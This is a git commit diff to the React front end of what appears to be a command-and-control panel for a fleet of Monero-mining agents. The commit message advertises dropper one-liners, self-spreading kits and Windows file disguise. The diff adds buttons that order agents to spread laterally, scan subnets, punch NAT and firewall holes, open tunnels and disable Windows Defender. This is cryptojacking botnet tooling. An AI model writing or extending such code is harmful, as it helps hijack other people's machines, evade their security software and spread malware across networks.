Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -1,7 +1,7 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import type { Agent } from '../../types';
import type { WSMessage } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
interface Props {
agent: Agent;
@@ -12,7 +12,7 @@ interface Props {
onToggleExpand: () => void;
onSelect: () => void;
onCheck?: (checked: boolean) => void;
latestWsMessage?: WSMessage | null;
commandResults?: SeqCommandResult[];
}
export default function AgentListItem({
@@ -24,7 +24,7 @@ export default function AgentListItem({
onToggleExpand,
onSelect,
onCheck,
latestWsMessage,
commandResults,
}: Props) {
const online = agent.status === 'online';
@@ -58,6 +58,11 @@ export default function AgentListItem({
)}
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
{agent.platform && (
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
</span>
)}
</div>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
</div>
@@ -89,7 +94,7 @@ export default function AgentListItem({
<span>v{agent.version || '?'}</span>
</div>
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
</div>
)}
</div>

View File

@@ -91,6 +91,13 @@
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
.aggressive-group h3 { color: #ff00ff; }
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
.screenshot-viewer {
margin-bottom: 20px;
border: 1px solid #00e5ff;

View File

@@ -1,9 +1,12 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, WSMessage } from '../../types';
import type { WSCommandResult } from '../../types/ws';
import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css';
const TERMINAL_MAX_LINES = 500;
interface Props {
/** Legacy: pass full agent object from list/detail pages */
agent?: Agent;
@@ -12,7 +15,11 @@ interface Props {
/** Explicit online flag — use when agent object may be stale */
online?: boolean;
compact?: boolean;
latestWsMessage?: WSMessage | null;
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
* Every entry is processed; no results are dropped (fixes M13). */
commandResults?: SeqCommandResult[];
/** @deprecated Pass commandResults instead. */
latestWsMessage?: { type: string; payload: unknown } | null;
onCommandSent?: (action: string) => void;
}
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
agentName: agentNameProp,
online: onlineProp,
compact = false,
latestWsMessage,
commandResults,
onCommandSent,
}: Props) {
const agentId = agentIdProp ?? agent?.id ?? '';
@@ -31,32 +38,58 @@ export default function AgentRemoteActions({
const [isDragging, setIsDragging] = useState(false);
const [customCmd, setCustomCmd] = useState('');
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
const logEndRef = useRef<HTMLDivElement>(null);
// Track the highest _seq we've already processed.
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
// where .slice(-N) trims old entries so absolute indices exceed the array length.
const lastSeenSeq = useRef(0);
const addLog = useCallback((msg: string) => {
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
setTerminalLog((prev) => {
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
});
}, []);
useEffect(() => {
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [terminalLog]);
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
// This prevents reprocessing results from the previous agent or a stale queue.
useEffect(() => {
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
const payload = latestWsMessage.payload as WSCommandResult;
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
if (action === 'screenshot' && success && message) {
setScreenshotData(`data:image/jpeg;base64,${message}`);
addLog(`Screenshot received from ${agent_id}`);
} else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
if (commandResults && commandResults.length > 0) {
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
}
}, [latestWsMessage, agentId, addLog]);
// Intentionally only runs on agentId change — commandResults excluded from deps
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agentId]);
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
// Filters by _seq so the ring-buffer trim never makes us miss results.
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
if (newEntries.length === 0) return;
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
for (const payload of newEntries) {
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot' && success && message) {
setScreenshotData(`data:image/jpeg;base64,${message}`);
addLog(`Screenshot received from ${agent_id}`);
} else if (action) {
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
}
}
}, [commandResults, agentId, addLog]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
setBusy(action);
try {
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
}
const isFleet = agentId === 'all';
const caps = agent?.capabilities;
const platform = agent?.platform;
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
aggressiveActionHint(action, caps, platform);
return (
<div className="tactical-panel">
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
</div>
</div>
<div className="action-group aggressive-group">
<h3>NAT &amp; Aggressive Ops</h3>
<p className="action-group-hint">Point-and-shoot requires Advanced forge toggles on the agent.</p>
<div className="button-grid">
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch_status')}
title={aggTitle('hole_punch_status')}
onClick={() => dispatch('hole_punch_status')}
>
WAN IP
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch')}
title={aggTitle('hole_punch')}
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
>
Hole Punch
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('hole_punch_close')}
title={aggTitle('hole_punch_close')}
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
>
Close Punch
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('firewall_punch')}
title={aggTitle('firewall_punch')}
onClick={() => dispatch('firewall_punch', { command: '8989' })}
>
Open FW Port
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('start_tunnel')}
title={aggTitle('start_tunnel')}
onClick={() => dispatch('start_tunnel')}
>
Cloudflare Tunnel
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('subnet_scan')}
title={aggTitle('subnet_scan')}
onClick={() => dispatch('subnet_scan', { command: '64' })}
>
Subnet Scan
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('spread_now')}
title={aggTitle('spread_now')}
onClick={() => dispatch('spread_now')}
>
Spread Now
</button>
<button
type="button"
className="btn-magenta"
disabled={aggDisabled('mesh_status')}
title={aggTitle('mesh_status')}
onClick={() => dispatch('mesh_status')}
>
Mesh Peers
</button>
<button
type="button"
className="btn-red"
disabled={aggDisabled('defender_off')}
title={aggTitle('defender_off')}
onClick={() => dispatch('defender_off')}
>
Disable Defender
</button>
</div>
</div>
</div>
{screenshotData && (

View File

@@ -121,12 +121,6 @@
grid-column: span 2;
}
.agent-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-top: 1rem;
}
.agent-action-btn {
padding: 0.4rem 0.75rem;

View File

@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
setXmrPerDay(null);
return;
}
// AbortController ensures a stale in-flight response never overwrites a
// newer estimate when hashrate changes rapidly (fixes M16).
const controller = new AbortController();
api.getEarningsEstimate(hashrate).then((r) => {
setXmrPerDay(r.xmr_per_day);
setNote(r.note);
}).catch(console.error);
if (!controller.signal.aborted) {
setXmrPerDay(r.xmr_per_day);
setNote(r.note);
}
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
return () => controller.abort();
}, [hashrate]);
if (xmrPerDay == null || hashrate <= 0) return null;